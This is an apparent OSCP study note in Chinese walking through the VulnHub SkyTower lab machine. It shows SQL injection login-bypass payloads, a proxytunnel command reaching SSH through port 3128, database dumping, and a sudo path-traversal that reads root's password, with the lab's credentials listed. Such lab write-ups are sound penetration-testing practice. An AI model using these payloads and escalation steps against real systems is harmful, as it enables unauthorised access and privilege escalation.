---
# System prepended metadata

title: Target complete - SKYTOWER
tags: [OSCP, target]

---

# Target complete - SKYTOWER
Download URL: https://www.vulnhub.com/entry/skytower-1,96/


{%hackmd FEwWUB_uQXiEWEj9MsaEgA %}

## Step:
1. 有 80 port 可以試
    * 用 nikto 掃，沒有 cve 可以用
    * 用 sql injection 試試 
        * `'OR 1=1 ![](https://i.imgur.com/KWPRu8R.png)
        * `'|| 1=1 #`，成功了，並提示可以 ssh `john/hereisjohn`![](https://i.imgur.com/mH4WzWW.jpg)
2. 但當初 nmap 掃的時候，22 port 沒有開，有掃到 3128![](https://i.imgur.com/cPq4GxP.png)
3. 用 proxytunnel 試試
    * proxytunnel -p <IP:3128> -d 127.0.0.1:22 -a 666
    * 此時開另一個視窗 netstat 看一下 666 port![](https://i.imgur.com/h07WTT3.png)
    * 接下來就用 ssh 666 port 就能進去了![](https://i.imgur.com/AVVMsze.png)
    * 但連進去後馬上就斷了，參考別的 wp 寫著要加參數 `-t '/bin/sh'`![](https://i.imgur.com/r65mA4X.png)
4. sudo -l 看看，恩不是 sudoer
![](https://i.imgur.com/76hJZPU.png)

5. 試著找 os 跟 kernel 版本來提權，但找不到版本
![](https://i.imgur.com/YSoAWbb.png)

6. 看看 /var/www 有沒有東西可以挖
* 底下有 login.php ，裡面有放帳密
 ![](https://i.imgur.com/sgYNeB1.png)
* 登入 db 看看 `$mysql -u root -p`
![](https://i.imgur.com/A1kOyBx.png)

7. 進 SkyTech 裡看看
    * `use SkyTech;`
    * `show tables;`![](https://i.imgur.com/f5Zwgpx.png)
    * `select * from login`![](https://i.imgur.com/SxgfngO.png)

8. 找到三組帳號與密碼
|  1 | john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable    |

9. 拿第二組去試 login
* 登進去後 `sudo -l`，有二行寫著 
* `User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
`![](https://i.imgur.com/bcyEctq.png)

10. 表示 sara 可以用 ls 跟 cat 的權限，所以拿來看 root account底下有什麼
    *`sudo ls /accounts/../root/` ![](https://i.imgur.com/Q28peuI.png)
    * cat 拿到 root 密碼 `theskytower`
    ![](https://i.imgur.com/zfPKAPI.png)
11. login with root account![](https://i.imgur.com/2iNRAz0.png)













 
## 本集技巧:
* sql injection
* proxytunnel

## Writeup 參考:
https://resources.infosecinstitute.com/topic/vulnhub-machines-walkthrough-series-skytower/
https://blog.csdn.net/qq_34801745/article/details/103913200

###### tags:  `target` `OSCP`